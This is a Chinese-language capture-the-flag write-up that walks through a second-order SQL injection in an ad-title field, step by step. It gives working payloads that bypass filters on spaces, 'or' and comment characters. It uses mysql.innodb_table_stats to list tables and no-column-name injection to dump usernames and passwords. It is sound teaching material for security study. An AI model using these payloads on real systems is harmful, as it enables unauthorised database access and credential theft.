考点:SQL二次注入,关键绕过,无列名注入
在开始之前,先了解几个概念。
概念 1:SQL 注入到底是啥
后端执行查询时,会把你输入的内容拼进 SQL 语句字符串 里。正常情况下你输入的是 "数据";但如果你输入了 '、union、select 这些 SQL 语法符号,而后端没处理干净,你输入的 "数据" 就会被数据库当成 "SQL 代码 " 执行 ------ 这就是注入。一句话:让本该是数据的地方,变成可执行的语句。
概念 2:二次注入
普通注入是 "你这次输入、这次就被拼进 SQL"。二次注入分两次,坑就坑在中间隔了一次 "存数据库":
- 第一次(发布广告) :你在标题里填
1' union...。后端这一步其实做了转义(把'变成\'),所以insert写库时是安全的 ;但数据库存盘时会把转义用的反斜杠去掉 ,于是库里真正存下的是你原始的1' union...。 - 第二次(点 "广告详情") :后端把标题从库里读出来 ,直接拼进另一条查询
select * from ads where title='读出来的标题',这一步没有再次转义 ------ 于是你第一次埋的'在这里 "复活",注入触发。
为什么登录框注入不了、广告标题能注入?因为登录框是 "一次注入" 当场被转义拦住;而广告标题走的是上面这条 "先存后取、第二次不设防" 的路。
概念 3:闭合 与 注释
注入时你用一个 ' 把后端原来的前引号 "用掉",这叫闭合 。拼完自己的语句后,后面还剩后端原语句的一截(' limit 0,1),常规做法是用 # 或 -- 把它注释掉 。但如果把注释符过滤了,要用 "再补一个引号让它自己配对" 的方式手动闭合(下面实战会具体拆)。
接下来开始操作步骤:
Step 0 注册登录
随便注册一个账号再登录


Step 1 确认注入点 & 判断是字符型
在标题里分别试:
- 填
1'提交,再看详情 → 报错(多出来的单引号让 SQL 语法崩了,说明输入被拼进了语句);

- 填
1''再看 → 正常(两个引号正好配对)。

由此确定:注入点是单引号字符型,后端语句形如
sql
select * from ads where title = '$title' limit 0,1;
Step 2 摸清楚过滤了什么,逐个绕过
测试后我们发现空格、or和注释符(#,--)被过滤
| 被过滤 | 为什么需要它 | 绕过方法 |
|---|---|---|
| 空格 | SQL 单词之间要分隔 | 用内联注释 /**/ 代替每个空格 |
or(不区分大小写) |
order by、information_schema 里都含 "or" |
判列数改用 group by ;查表改用 InnoDB/sys 系统表,彻底不用 information_schema |
注释符 #、-- |
用来注释掉语句尾巴 | 不注释,手动补单引号闭合 (payload 末尾写 '22 / '1,让它和原语句尾引号配对) |
Step 3 判断列数
正常用 order by N 试探列数,但它含 or 被过滤,换成 group by N,效果一样(按第 N 列分组,列不存在就报错)。在标题里依次填、不断加大 N:
sql
-1'/**/group/**/by/**/22,'1




- 为什么是
/**/:每个空格的位置都换成它; - 为什么结尾是
,'1:拼进原句后是group by 22,'1' limit 0,1------'1的前引号是我们写的,原句结尾那个'正好补在后面,配成合法字符串'1',这样就不需要注释符了。 - 试到 22 正常、23 报错 → 原查询共 22 列。
Step 4 联合查询,找回显位
标题填
sql
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
挤进原句后等价于
sql
select * from ads where title='-1' union select 1,2,...,21,'22' limit 0,1

详情页上会看到数字 2 和 3 被打印出来 → 回显位是第 2、3 列,以后把要查的内容塞进这两个位置。
Step 5 查当前数据库名
把第 2 位换成 database()
sql
-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

回显得到当前库 web1。
Step 6 查表名:绕过被过滤的 information_schema
常规查表要查 information_schema.tables,但里面含 or (information)被过滤。改用 MySQL 自带的"统计表",其不含 or:
mysql.innodb_table_stats
sql
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='web1'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

得到两张表:ads和 users
原理:information_schema 是 "元数据库",被 ban 后,InnoDB 引擎会在mysql.innodb_table_stats、sys 库里记录表名等统计信息,照样能把表名抠出来,innodb_table_stats 收录更全。
Step 7 查 users 表数据:无列名注入
正常要 select 列名 from users,可我们不知道 users 有哪些列、叫什么 ,又没法查 information_schema.columns(含 or),连反引号都被过滤。这时用无列名注入:按 "列的位置" 而不是 "列的名字" 取数据。
原理拆解,看这条子查询:
sql
select 1,2,3 as b union select * from users
select 1,2,3先凭空造一行 3 列的结果,并用as b给第 3 列起别名 b;union select * from users把 users 的数据按列顺序接在后面(要求 users 也是 3 列:id、用户名、密码);- 于是这张临时结果的第 3 列就叫 b,外层再
select group_concat(b) from (上面整段)x,就能在不知道列名 的情况下把 users 第 3 列全部值拼出来。想取第几列,就把as 别名加到第几列。
取第 2 列(取用户名,给第 2 列起别名 a):
sql
-1'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from/**/(select/**/1,2/**/as/**/a,3/**/union/**/select/**/*/**/from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

取第 3 列(取密码,给第 3 列起别名 b):
sql
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

直接得到flag。